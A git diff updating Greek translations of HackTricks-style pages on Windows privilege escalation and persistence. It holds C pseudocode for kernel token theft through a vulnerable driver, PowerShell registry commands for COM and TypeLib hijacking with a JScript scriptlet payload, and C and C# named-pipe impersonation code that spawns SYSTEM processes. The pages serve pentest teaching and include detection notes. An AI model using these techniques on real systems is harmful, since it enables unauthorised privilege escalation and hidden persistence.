### Άλλη τεχνική παράκαμψης UAC
|
||||
### Another UAC bypass technique
|
||||
|
||||
Συνίσταται στο να παρακολουθείτε αν ένα **autoElevated binary** προσπαθεί να **διαβάσει** από το **registry** το **όνομα/διαδρομή** ενός **binary** ή **εντολής** που θα **εκτελεστεί** (αυτό είναι πιο ενδιαφέρον αν το binary αναζητά αυτή την πληροφορία στο **HKCU**).
|
||||
Συνίσταται στο να παρακολουθείτε αν ένα **autoElevated binary** προσπαθεί να **διαβάσει** από το **registry** το **όνομα/διαδρομή** ενός **binary** ή **εντολής** που θα **εκτελεστεί** (αυτό είναι πιο ενδιαφέρον αν το binary αναζητά αυτή την πληροφορία μέσα στο **HKCU**).
|
||||
|
||||
## References
|
||||
- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf) – fodhelper UAC bypass steps](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@ -4,35 +4,35 @@
|
||||
|
||||
## Επισκόπηση
|
||||
|
||||
Εάν ένας ευάλωτος driver εκθέτει ένα IOCTL που παρέχει σε έναν επιτιθέμενο αυθαίρετες δυνατότητες ανάγνωσης και/ή εγγραφής στον kernel, η αναβάθμιση σε NT AUTHORITY\SYSTEM μπορεί συχνά να επιτευχθεί κλέβοντας το SYSTEM access token. Η τεχνική αντιγράφει τον δείκτη Token από το EPROCESS μιας διεργασίας SYSTEM στο EPROCESS της τρέχουσας διεργασίας.
|
||||
Αν ένας ευάλωτος driver εκθέτει ένα IOCTL που δίνει σε έναν επιτιθέμενο αυθαίρετες primitive ανάγνωσης και/ή εγγραφής στον kernel, η αύξηση δικαιωμάτων σε NT AUTHORITY\SYSTEM μπορεί συχνά να επιτευχθεί με το κλέψιμο του SYSTEM access token. Η τεχνική αντιγράφει τον δείκτη Token από το EPROCESS μιας διεργασίας SYSTEM στο EPROCESS της τρέχουσας διεργασίας.
|
||||
|
||||
Γιατί λειτουργεί:
|
||||
- Κάθε διεργασία έχει μια δομή EPROCESS που περιέχει (μεταξύ άλλων πεδίων) ένα Token (στην πραγματικότητα ένα EX_FAST_REF σε ένα token object).
|
||||
- Η διεργασία SYSTEM (PID 4) κατέχει ένα token με όλα τα προνόμια ενεργοποιημένα.
|
||||
Γιατί δουλεύει:
|
||||
- Κάθε διεργασία έχει μια δομή EPROCESS που περιέχει (μεταξύ άλλων πεδίων) ένα Token (στην πραγματικότητα ένα EX_FAST_REF σε ένα αντικείμενο token).
|
||||
- Η διεργασία SYSTEM (PID 4) κρατάει ένα token με όλα τα privileges ενεργοποιημένα.
|
||||
- Η αντικατάσταση του EPROCESS.Token της τρέχουσας διεργασίας με τον δείκτη token του SYSTEM κάνει την τρέχουσα διεργασία να τρέξει ως SYSTEM αμέσως.
|
||||
|
||||
> Τα offsets στο EPROCESS διαφέρουν ανάλογα με τις εκδόσεις των Windows. Προσδιορίστε τα δυναμικά (symbols) ή χρησιμοποιήστε constants ανά έκδοση. Επίσης θυμηθείτε ότι το EPROCESS.Token είναι ένα EX_FAST_REF (τα χαμηλά 3 bits είναι flags μετρήματος αναφορών).
|
||||
> Τα offsets στο EPROCESS διαφέρουν ανά έκδοση των Windows. Προσδιορίστε τα δυναμικά (symbols) ή χρησιμοποιήστε constants ανά έκδοση. Επίσης θυμηθείτε ότι το EPROCESS.Token είναι EX_FAST_REF (τα κατώτερα 3 bit είναι flags για το reference count).
|
||||
|
||||
## Βήματα υψηλού επιπέδου
|
||||
## Υψηλού επιπέδου βήματα
|
||||
|
||||
1) Εντοπίστε το base του ntoskrnl.exe και λύστε τη διεύθυνση του PsInitialSystemProcess.
|
||||
1) Εντοπίστε τη βάση του ntoskrnl.exe και επιλύστε τη διεύθυνση του PsInitialSystemProcess.
|
||||
- Από user mode, χρησιμοποιήστε NtQuerySystemInformation(SystemModuleInformation) ή EnumDeviceDrivers για να πάρετε τις βάσεις των φορτωμένων drivers.
|
||||
- Προσθέστε το offset του PsInitialSystemProcess (από symbols/reversing) στη base του kernel για να πάρετε τη διεύθυνσή του.
|
||||
- Προσθέστε το offset του PsInitialSystemProcess (από symbols/reversing) στη βάση του kernel για να πάρετε τη διεύθυνσή του.
|
||||
2) Διαβάστε τον δείκτη στο PsInitialSystemProcess → αυτός είναι ένας kernel pointer στο EPROCESS του SYSTEM.
|
||||
3) Από το EPROCESS του SYSTEM, διαβάστε τα offsets UniqueProcessId και ActiveProcessLinks για να διασχίσετε τη διπλά συνδεδεμένη λίστα των δομών EPROCESS (ActiveProcessLinks.Flink/Blink) μέχρι να βρείτε το EPROCESS του οποίου το UniqueProcessId ισούται με GetCurrentProcessId(). Κρατήστε και τα δύο:
|
||||
- EPROCESS_SYSTEM (για το SYSTEM)
|
||||
- EPROCESS_SELF (για την τρέχουσα διεργασία)
|
||||
4) Διαβάστε την τιμή token του SYSTEM: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
|
||||
- Mask out the low 3 bits: Token_SYS_masked = Token_SYS & ~0xF (commonly ~0xF or ~0x7 depending on build; on x64 the low 3 bits are used — 0xFFFFFFFFFFFFFFF8 mask).
|
||||
5) Option A (common): Διατηρήστε τα χαμηλά 3 bits από το τρέχον token σας και συγκολλήστε τα στον δείκτη του SYSTEM για να διατηρηθεί η συνέπεια του ενσωματωμένου μετρητή αναφορών.
|
||||
4) Διάβασε την τιμή του token του SYSTEM: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
|
||||
- Μάσκαρε τα κατώτερα 3 bit: Token_SYS_masked = Token_SYS & ~0xF (συνήθως ~0xF ή ~0x7 ανάλογα με το build; σε x64 τα κατώτερα 3 bit χρησιμοποιούνται — μάσκα 0xFFFFFFFFFFFFFFF8).
|
||||
5) Επιλογή A (συνηθισμένη): Διατήρησε τα κατώτερα 3 bit από το τρέχον token σου και κόλλησέ τα πάνω στον pointer του SYSTEM για να διατηρηθεί συνεπές το ενσωματωμένο ref count.
|
||||
- Token_ME = *(EPROCESS_SELF + TokenOffset)
|
||||
- Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
|
||||
6) Εγγράψτε το Token_NEW πίσω στο (EPROCESS_SELF + TokenOffset) χρησιμοποιώντας το kernel write primitive σας.
|
||||
7) Η τρέχουσα διεργασία σας είναι τώρα SYSTEM. Προαιρετικά ξεκινήστε ένα νέο cmd.exe ή powershell.exe για επιβεβαίωση.
|
||||
6) Γράψε το Token_NEW πίσω σε (EPROCESS_SELF + TokenOffset) χρησιμοποιώντας το kernel write primitive σου.
|
||||
7) Η τρέχουσα διεργασία σου είναι τώρα SYSTEM. Προαιρετικά spawnάρισε ένα νέο cmd.exe ή powershell.exe για επιβεβαίωση.
|
||||
|
||||
## Ψευδοκώδικας
|
||||
|
||||
Παρακάτω είναι ένα σκελετικό παράδειγμα που χρησιμοποιεί μόνο δύο IOCTLs από έναν ευάλωτο driver, ένα για 8-byte kernel read και ένα για 8-byte kernel write. Αντικαταστήστε με το interface του driver σας.
|
||||
Παρακάτω είναι ένα skeleton που χρησιμοποιεί μόνο δύο IOCTLs από έναν ευάλωτο driver, ένα για 8-byte kernel read και ένα για 8-byte kernel write. Αντικαταστήστε με το interface του δικού σας driver.
|
||||
```c
|
||||
#include <Windows.h>
|
||||
#include <Psapi.h>
|
||||
@ -106,16 +106,16 @@ return 0;
|
||||
}
|
||||
```
|
||||
Σημειώσεις:
|
||||
- Μετατοπίσεις: Χρησιμοποιήστε το WinDbg με την εντολή `dt nt!_EPROCESS` μαζί με τα PDBs του στόχου, ή έναν runtime symbol loader, για να λάβετε σωστές μετατοπίσεις. Μην κάνετε hardcode τυφλά.
|
||||
- Μάσκα: Σε x64 το token είναι EX_FAST_REF; τα 3 χαμηλότερα bits είναι bits μετρητή αναφορών. Η διατήρηση των αρχικών χαμηλών bits από το token σας αποφεύγει άμεσες ασυμφωνίες στον μετρητή αναφορών.
|
||||
- Σταθερότητα: Προτιμήστε να ανυψώνετε την τρέχουσα διεργασία· αν ανυψώσετε έναν βραχύβιο helper μπορεί να χάσετε SYSTEM όταν τερματιστεί.
|
||||
- Offsets: Use WinDbg’s `dt nt!_EPROCESS` with the target’s PDBs, or a runtime symbol loader, to get correct offsets. Do not hardcode blindly.
|
||||
- Mask: Στο x64 το token είναι ένα EX_FAST_REF· τα 3 χαμηλότερα bits είναι reference count bits. Η διατήρηση των αρχικών χαμηλών bits από το token σας αποφεύγει immediate refcount inconsistencies.
|
||||
- Stability: Προτιμήστε να elevate την τρέχουσα διεργασία· αν ανεβάσετε έναν short-lived helper μπορεί να χάσετε SYSTEM όταν τερματιστεί.
|
||||
|
||||
## Ανίχνευση & μετριασμός
|
||||
- Η φόρτωση unsigned ή untrusted third‑party drivers που εκθέτουν ισχυρά IOCTLs είναι η βασική αιτία.
|
||||
- Kernel Driver Blocklist (HVCI/CI), DeviceGuard, και οι κανόνες Attack Surface Reduction μπορούν να αποτρέψουν τη φόρτωση ευάλωτων drivers.
|
||||
- Το EDR μπορεί να παρακολουθεί για ύποπτες ακολουθίες IOCTL που υλοποιούν arbitrary read/write και για token swaps.
|
||||
## Ανίχνευση & αντιμετώπιση
|
||||
- Η φόρτωση unsigned ή untrusted third‑party drivers που εκθέτουν ισχυρά IOCTLs είναι η ριζική αιτία.
|
||||
- Kernel Driver Blocklist (HVCI/CI), DeviceGuard, και κανόνες Attack Surface Reduction μπορούν να αποτρέψουν τη φόρτωση ευάλωτων drivers.
|
||||
- Το EDR μπορεί να παρακολουθεί για suspicious IOCTL sequences που υλοποιούν arbitrary read/write και για token swaps.
|
||||
|
||||
## Αναφορές
|
||||
## References
|
||||
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||||
- [FuzzySecurity – Windows Kernel ExploitDev (token stealing examples)](https://www.fuzzysecurity.com/tutorials/expDev/17.html)
|
||||
|
||||
|
||||
@ -2,23 +2,23 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
### Αναζήτηση μη υπαρχόντων COM components
|
||||
### Αναζήτηση μη υπαρχόντων COM συστατικών
|
||||
|
||||
Καθώς οι τιμές του HKCU μπορούν να τροποποιηθούν από τους χρήστες, το **COM Hijacking** μπορεί να χρησιμοποιηθεί ως **μηχανισμός επιμονής**. Χρησιμοποιώντας το `procmon` είναι εύκολο να βρείτε καταχωρήσεις COM που αναζητήθηκαν αλλά δεν υπάρχουν, τις οποίες ένας επιτιθέμενος θα μπορούσε να δημιουργήσει για να διατηρήσει την επιμονή του. Φίλτρα:
|
||||
Καθώς οι τιμές του HKCU μπορούν να τροποποιηθούν από τους χρήστες, το **COM Hijacking** μπορεί να χρησιμοποιηθεί για επίμονη παρουσία. Χρησιμοποιώντας το `procmon` είναι εύκολο να βρείτε αναζητούμενα κλειδιά μητρώου COM που δεν υπάρχουν και που ένας επιτιθέμενος θα μπορούσε να δημιουργήσει για να παραμείνει. Φίλτρα:
|
||||
|
||||
- **RegOpenKey** operations.
|
||||
- **RegOpenKey** λειτουργίες.
|
||||
- όπου το _Result_ είναι **NAME NOT FOUND**.
|
||||
- και το _Path_ τελειώνει με **InprocServer32**.
|
||||
|
||||
Μόλις αποφασίσετε ποιο μη υπάρχον COM θα υποδυθείτε, εκτελέστε τις παρακάτω εντολές. _Προσοχή αν αποφασίσετε να υποδυθείτε ένα COM που φορτώνεται κάθε μερικά δευτερόλεπτα, καθώς αυτό μπορεί να είναι υπερβολικό._
|
||||
Μόλις αποφασίσετε ποιο μη υπάρχον COM θα μιμηθείτε, εκτελέστε τις ακόλουθες εντολές. _Προσοχή εάν αποφασίσετε να μιμηθείτε ένα COM που φορτώνεται κάθε λίγα δευτερόλεπτα, καθώς αυτό μπορεί να είναι υπερβολικό._
|
||||
```bash
|
||||
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
|
||||
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
|
||||
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"
|
||||
```
|
||||
### Ευάλωτα COM συστατικά του Task Scheduler
|
||||
### COM components του Task Scheduler που μπορούν να ανακαταληφθούν
|
||||
|
||||
Οι Windows Tasks χρησιμοποιούν Custom Triggers για να καλούν COM objects και επειδή εκτελούνται μέσω του Task Scheduler, είναι πιο εύκολο να προβλέψει κανείς πότε θα ενεργοποιηθούν.
|
||||
Τα Windows Tasks χρησιμοποιούν Custom Triggers για να καλέσουν COM objects και επειδή εκτελούνται μέσω του Task Scheduler, είναι πιο εύκολο να προβλέψει κανείς πότε θα ενεργοποιηθούν.
|
||||
|
||||
<pre class="language-powershell"><code class="lang-powershell"># Show COM CLSIDs
|
||||
$Tasks = Get-ScheduledTask
|
||||
@ -49,9 +49,9 @@ Write-Host
|
||||
# CLSID: {1936ED8A-BD93-3213-E325-F38D112938E1}
|
||||
# [more like the previous one...]</code></pre>
|
||||
|
||||
Εξετάζοντας την έξοδο, μπορείτε να επιλέξετε ένα που θα εκτελείται, για παράδειγμα, **κάθε φορά που ένας χρήστης συνδέεται**.
|
||||
Ελέγχοντας την έξοδο μπορείτε να επιλέξετε για παράδειγμα ένα που θα εκτελείται **κάθε φορά που ένας χρήστης συνδέεται**.
|
||||
|
||||
Τώρα, αναζητώντας το CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** στο **HKEY\CLASSES\ROOT\CLSID** και στο HKLM και HKCU, συνήθως θα βρείτε ότι η τιμή δεν υπάρχει στο HKCU.
|
||||
Τώρα, αν αναζητήσετε το CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** στο **HKEY\CLASSES\ROOT\CLSID** και στο HKLM και στο HKCU, συνήθως θα διαπιστώσετε ότι η τιμή δεν υπάρχει στο HKCU.
|
||||
```bash
|
||||
# Exists in HKCR\CLSID\
|
||||
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
|
||||
@ -72,32 +72,32 @@ Name Property
|
||||
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
|
||||
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
|
||||
```
|
||||
Τότε, μπορείτε απλώς να δημιουργήσετε την καταχώρηση HKCU και κάθε φορά που ο χρήστης συνδέεται, το backdoor σας θα εκτελείται.
|
||||
Τότε, μπορείτε απλά να δημιουργήσετε την εγγραφή HKCU και κάθε φορά που ο χρήστης συνδέεται, το backdoor σας θα εκτελείται.
|
||||
|
||||
---
|
||||
|
||||
## COM TypeLib Hijacking (script: moniker persistence)
|
||||
|
||||
Οι Type Libraries (TypeLib) περιγράφουν COM interfaces και φορτώνονται μέσω της `LoadTypeLib()`. Όταν ένας COM server δημιουργείται, το λειτουργικό σύστημα μπορεί επίσης να φορτώσει το αντίστοιχο TypeLib συμβουλευόμενο τα κλειδιά μητρώου κάτω από `HKCR\TypeLib\{LIBID}`. Εάν η διαδρομή του TypeLib αντικατασταθεί με έναν **moniker**, π.χ. `script:C:\...\evil.sct`, τα Windows θα εκτελέσουν το scriptlet όταν το TypeLib επιλυθεί — οδηγώντας σε stealthy persistence που ενεργοποιείται όταν χρησιμοποιηθούν κοινά components.
|
||||
Οι Type Libraries (TypeLib) ορίζουν COM interfaces και φορτώνονται μέσω της `LoadTypeLib()`. Όταν ένας COM server δημιουργείται, το λειτουργικό σύστημα (OS) μπορεί επίσης να φορτώσει την συνδεδεμένη TypeLib συμβουλευόμενο τα registry keys κάτω από `HKCR\TypeLib\{LIBID}`. Αν το μονοπάτι της TypeLib αντικατασταθεί με έναν **moniker**, π.χ. `script:C:\...\evil.sct`, τα Windows θα εκτελέσουν το scriptlet όταν επιλυθεί η TypeLib — δημιουργώντας μια stealthy persistence που ενεργοποιείται όταν αγγίζονται κοινά components.
|
||||
|
||||
Αυτό έχει παρατηρηθεί εναντίον του Microsoft Web Browser control (συχνά φορτώνεται από Internet Explorer, εφαρμογές που ενσωματώνουν WebBrowser, και ακόμη και το `explorer.exe`).
|
||||
Αυτό έχει παρατηρηθεί εναντίον του Microsoft Web Browser control (συχνά φορτώνεται από Internet Explorer, εφαρμογές που ενσωματώνουν WebBrowser, και ακόμη και `explorer.exe`).
|
||||
|
||||
### Βήματα (PowerShell)
|
||||
### Steps (PowerShell)
|
||||
|
||||
1) Εντοπίστε το TypeLib (LIBID) που χρησιμοποιείται από ένα CLSID υψηλής συχνότητας. Παράδειγμα CLSID που συχνά καταχρώνται από malware chains: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser).
|
||||
1) Εντοπίστε το TypeLib (LIBID) που χρησιμοποιείται από ένα CLSID υψηλής συχνότητας. Παράδειγμα CLSID που συχνά καταχράζονται από malware chains: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser).
|
||||
```powershell
|
||||
$clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
|
||||
$libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)'
|
||||
$ver = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName
|
||||
"CLSID=$clsid LIBID=$libid VER=$ver"
|
||||
```
|
||||
2) Δείξτε τη διαδρομή TypeLib ανά χρήστη σε ένα τοπικό scriptlet χρησιμοποιώντας το moniker `script:` (δεν απαιτούνται δικαιώματα διαχειριστή):
|
||||
2) Κατευθύνετε το per-user TypeLib path σε ένα τοπικό scriptlet χρησιμοποιώντας το μονίκερ `script:` (δεν απαιτούνται δικαιώματα διαχειριστή):
|
||||
```powershell
|
||||
$dest = 'C:\\ProgramData\\Udate_Srv.sct'
|
||||
New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null
|
||||
Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest"
|
||||
```
|
||||
3) Drop ένα ελάχιστο JScript `.sct` που επανεκκινεί το κύριο payload σας (π.χ. ένα `.lnk` που χρησιμοποιήθηκε από την αρχική αλυσίδα):
|
||||
3) Drop μια ελάχιστη JScript `.sct` που επανεκκινεί το κύριο payload σας (π.χ. ένα `.lnk` που χρησιμοποιήθηκε από την αρχική αλυσίδα):
|
||||
```xml
|
||||
<?xml version="1.0"?>
|
||||
<scriptlet>
|
||||
@ -114,7 +114,7 @@ sh.Run(cmd, 0, false);
|
||||
</script>
|
||||
</scriptlet>
|
||||
```
|
||||
4) Ενεργοποίηση – το άνοιγμα του IE, μιας εφαρμογής που ενσωματώνει το WebBrowser control, ή ακόμη και οι συνήθεις δραστηριότητες του Explorer θα φορτώσουν το TypeLib και θα εκτελέσουν το scriptlet, επανενεργοποιώντας την αλυσίδα σας κατά το logon/reboot.
|
||||
4) Triggering – το άνοιγμα του IE, μιας εφαρμογής που ενσωματώνει το WebBrowser control, ή ακόμη και μια καθημερινή δραστηριότητα του Explorer, θα φορτώσει το TypeLib και θα εκτελέσει το scriptlet, επανενεργοποιώντας την αλυσίδα σας κατά το logon/reboot.
|
||||
|
||||
Καθαρισμός
|
||||
```powershell
|
||||
@ -124,8 +124,8 @@ Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$n
|
||||
Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null
|
||||
```
|
||||
Σημειώσεις
|
||||
- Μπορείτε να εφαρμόσετε την ίδια λογική και σε άλλα συχνά χρησιμοποιούμενα COM components· πάντα επιλύετε πρώτα το πραγματικό `LIBID` από `HKCR\CLSID\{CLSID}\TypeLib`.
|
||||
- Σε συστήματα 64-bit μπορείτε επίσης να συμπληρώσετε το υποκλειδί `win64` για τους 64-bit consumers.
|
||||
- Μπορείτε να εφαρμόσετε την ίδια λογική και σε άλλα υψηλής συχνότητας συστατικά COM· να επιλύετε πάντα πρώτα το πραγματικό `LIBID` από `HKCR\CLSID\{CLSID}\TypeLib`.
|
||||
- Σε συστήματα 64-bit μπορείτε επίσης να γεμίσετε το υποκλειδί `win64` για καταναλωτές 64-bit.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
|
||||
@ -2,27 +2,27 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Named Pipe client impersonation είναι ένα primitive για local privilege escalation που επιτρέπει σε ένα named-pipe server thread να υιοθετήσει το περιβάλλον ασφαλείας (security context) ενός client που συνδέεται σε αυτό. Στην πράξη, ένας επιτιθέμενος που μπορεί να εκτελέσει κώδικα με SeImpersonatePrivilege μπορεί να αναγκάσει έναν προνομιούχο client (π.χ. μια υπηρεσία SYSTEM) να συνδεθεί σε ένα pipe που ελέγχεται από τον επιτιθέμενο, να καλέσει ImpersonateNamedPipeClient, να διπλασιάσει το προκύπτον token σε primary token, και να εκκινήσει μια διεργασία ως ο client (συχνά NT AUTHORITY\SYSTEM).
|
||||
Named Pipe client impersonation είναι μια πρωτογενής μέθοδος τοπικής αναβάθμισης προνομίων που επιτρέπει σε ένα named-pipe server thread να υιοθετήσει το security context ενός client που συνδέεται σε αυτό. Στην πράξη, ένας επιτιθέμενος που μπορεί να τρέξει κώδικα με SeImpersonatePrivilege μπορεί να εξαναγκάσει έναν privileged client (π.χ. μια υπηρεσία SYSTEM) να συνδεθεί σε έναν pipe που ελέγχεται από τον επιτιθέμενο, να καλέσει ImpersonateNamedPipeClient, να διπλασιάσει το προκύπτον token σε ένα primary token και να δημιουργήσει μια διεργασία ως ο client (συχνά NT AUTHORITY\SYSTEM).
|
||||
|
||||
Αυτή η σελίδα επικεντρώνεται στην βασική τεχνική. Για ολοκληρωμένες αλυσίδες εκμετάλλευσης που αναγκάζουν το SYSTEM να συνδεθεί στο pipe σας, δείτε τις σελίδες της οικογένειας Potato που αναφέρονται παρακάτω.
|
||||
Αυτή η σελίδα επικεντρώνεται στην βασική τεχνική. Για end-to-end exploit chains που εξαναγκάζουν το SYSTEM να συνδεθεί στον pipe σας, δείτε τις σελίδες της οικογένειας Potato που αναφέρονται παρακάτω.
|
||||
|
||||
## TL;DR
|
||||
- Δημιουργήστε ένα named pipe: \\.\pipe\<random> και περιμένετε μια σύνδεση.
|
||||
- Προκαλέστε ένα προνομιούχο συστατικό να συνδεθεί σε αυτό (spooler/DCOM/EFSRPC/etc.).
|
||||
- Create a named pipe: \\.\pipe\<random> και περιμένετε για μια σύνδεση.
|
||||
- Προκαλέστε ένα privileged component να συνδεθεί σε αυτό (spooler/DCOM/EFSRPC/etc.).
|
||||
- Διαβάστε τουλάχιστον ένα μήνυμα από το pipe, και μετά καλέστε ImpersonateNamedPipeClient.
|
||||
- Ανοίξτε το impersonation token από το τρέχον νήμα, κάντε DuplicateTokenEx(TokenPrimary) και χρησιμοποιήστε CreateProcessWithTokenW/CreateProcessAsUser για να αποκτήσετε μια διεργασία SYSTEM.
|
||||
- Ανοίξτε το impersonation token από το τρέχον νήμα, DuplicateTokenEx(TokenPrimary), και χρησιμοποιήστε CreateProcessWithTokenW/CreateProcessAsUser για να αποκτήσετε μια διεργασία SYSTEM.
|
||||
|
||||
## Απαιτήσεις και βασικά API
|
||||
- Δικαιώματα που συνήθως χρειάζεται η καλούσα διεργασία/νήμα:
|
||||
- SeImpersonatePrivilege για να πραγματοποιηθεί με επιτυχία impersonation ενός συνδεόμενου client και για να χρησιμοποιηθεί το CreateProcessWithTokenW.
|
||||
- Εναλλακτικά, μετά από impersonation του SYSTEM, μπορείτε να χρησιμοποιήσετε CreateProcessAsUser, που μπορεί να απαιτεί SeAssignPrimaryTokenPrivilege και SeIncreaseQuotaPrivilege (αυτά ικανοποιούνται όταν κάνετε impersonate το SYSTEM).
|
||||
- Βασικά API που χρησιμοποιούνται:
|
||||
## Requirements and key APIs
|
||||
- Privileges που συνήθως χρειάζεται η διαδικασία/νήμα που καλεί:
|
||||
- SeImpersonatePrivilege για να πραγματοποιηθεί επιτυχώς impersonation ενός συνδεόμενου client και για να χρησιμοποιηθεί CreateProcessWithTokenW.
|
||||
- Εναλλακτικά, μετά το impersonate του SYSTEM, μπορείτε να χρησιμοποιήσετε CreateProcessAsUser, το οποίο ενδέχεται να απαιτεί SeAssignPrimaryTokenPrivilege και SeIncreaseQuotaPrivilege (αυτά ικανοποιούνται όταν impersonating το SYSTEM).
|
||||
- Core APIs που χρησιμοποιούνται:
|
||||
- CreateNamedPipe / ConnectNamedPipe
|
||||
- ReadFile/WriteFile (πρέπει να διαβαστεί τουλάχιστον ένα μήνυμα πριν το impersonation)
|
||||
- ImpersonateNamedPipeClient and RevertToSelf
|
||||
- ReadFile/WriteFile (must read at least one message before impersonation)
|
||||
- ImpersonateNamedPipeClient και RevertToSelf
|
||||
- OpenThreadToken, DuplicateTokenEx(TokenPrimary)
|
||||
- CreateProcessWithTokenW or CreateProcessAsUser
|
||||
- Impersonation level: για να εκτελεστούν χρήσιμες ενέργειες τοπικά, ο client πρέπει να επιτρέπει το SecurityImpersonation (προεπιλογή για πολλούς τοπικούς RPC/named-pipe clients). Οι clients μπορούν να το χαμηλώσουν με SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION κατά το άνοιγμα του pipe.
|
||||
- CreateProcessWithTokenW ή CreateProcessAsUser
|
||||
- Impersonation level: για να εκτελέσετε χρήσιμες ενέργειες τοπικά, ο client πρέπει να επιτρέπει SecurityImpersonation (προεπιλογή για πολλούς local RPC/named-pipe clients). Οι clients μπορούν να μειώσουν αυτό το επίπεδο με SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION κατά το άνοιγμα του pipe.
|
||||
|
||||
## Ελάχιστη ροή εργασίας Win32 (C)
|
||||
```c
|
||||
@ -69,11 +69,11 @@ return 0;
|
||||
}
|
||||
```
|
||||
Σημειώσεις:
|
||||
- Αν το ImpersonateNamedPipeClient επιστρέφει ERROR_CANNOT_IMPERSONATE (1368), βεβαιωθείτε ότι διαβάζετε πρώτα από το pipe και ότι ο client δεν περιόρισε την impersonation στο επίπεδο Identification.
|
||||
- Εάν το ImpersonateNamedPipeClient επιστρέψει ERROR_CANNOT_IMPERSONATE (1368), βεβαιωθείτε ότι έχετε διαβάσει πρώτα από το pipe και ότι ο client δεν περιόρισε την impersonation σε Identification level.
|
||||
- Προτιμήστε το DuplicateTokenEx με SecurityImpersonation και TokenPrimary για να δημιουργήσετε ένα primary token κατάλληλο για δημιουργία διεργασίας.
|
||||
|
||||
## .NET γρήγορο παράδειγμα
|
||||
Στο .NET, το NamedPipeServerStream μπορεί να κάνει impersonate μέσω RunAsClient. Μόλις γίνει impersonation, αντιγράψτε το thread token και δημιουργήστε μια διεργασία.
|
||||
## .NET σύντομο παράδειγμα
|
||||
Στο .NET, το NamedPipeServerStream μπορεί να κάνει impersonate μέσω RunAsClient. Αφού γίνει impersonation, duplicate το thread token και δημιουργήστε μια διεργασία.
|
||||
```csharp
|
||||
using System; using System.IO.Pipes; using System.Runtime.InteropServices; using System.Diagnostics;
|
||||
class P {
|
||||
@ -93,8 +93,8 @@ Process pi; CreateProcessWithTokenW(p, 2, null, null, 0, IntPtr.Zero, null, ref
|
||||
}
|
||||
}
|
||||
```
|
||||
## Συνηθισμένα triggers/coercions για να φέρετε το SYSTEM στον named pipe σας
|
||||
Αυτές οι τεχνικές αναγκάζουν προνομιούχες υπηρεσίες να συνδεθούν στον named pipe σας ώστε να μπορείτε να τους μιμηθείτε:
|
||||
## Common triggers/coercions to get SYSTEM to your pipe
|
||||
Αυτές οι τεχνικές αναγκάζουν υπηρεσίες με προνόμια να συνδεθούν στην named pipe σας, ώστε να μπορείτε να τις impersonate:
|
||||
- Print Spooler RPC trigger (PrintSpoofer)
|
||||
- DCOM activation/NTLM reflection variants (RoguePotato/JuicyPotato[NG], GodPotato)
|
||||
- EFSRPC pipes (EfsPotato/SharpEfsPotato)
|
||||
@ -117,20 +117,20 @@ If you just need a full example of crafting the pipe and impersonating to spawn
|
||||
from-high-integrity-to-system-with-name-pipes.md
|
||||
{{#endref}}
|
||||
|
||||
## Αντιμετώπιση προβλημάτων και παγίδες
|
||||
- Πρέπει να διαβάσετε τουλάχιστον ένα μήνυμα από τον named pipe πριν καλέσετε ImpersonateNamedPipeClient· αλλιώς θα λάβετε ERROR_CANNOT_IMPERSONATE (1368).
|
||||
- Αν ο client συνδεθεί με SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, ο server δεν μπορεί να κάνει πλήρες impersonation· ελέγξτε το επίπεδο impersonation του token μέσω GetTokenInformation(TokenImpersonationLevel).
|
||||
- Η CreateProcessWithTokenW απαιτεί SeImpersonatePrivilege από τον καλούντα. Αν αυτό αποτύχει με ERROR_PRIVILEGE_NOT_HELD (1314), χρησιμοποιήστε CreateProcessAsUser αφού έχετε ήδη impersonate το SYSTEM.
|
||||
- Βεβαιωθείτε ότι ο security descriptor του named pipe επιτρέπει στην στοχευόμενη υπηρεσία να συνδεθεί αν τον σκληρύνετε· από προεπιλογή, τα named pipes κάτω από \\.\pipe είναι προσβάσιμα σύμφωνα με την DACL του server.
|
||||
## Troubleshooting and gotchas
|
||||
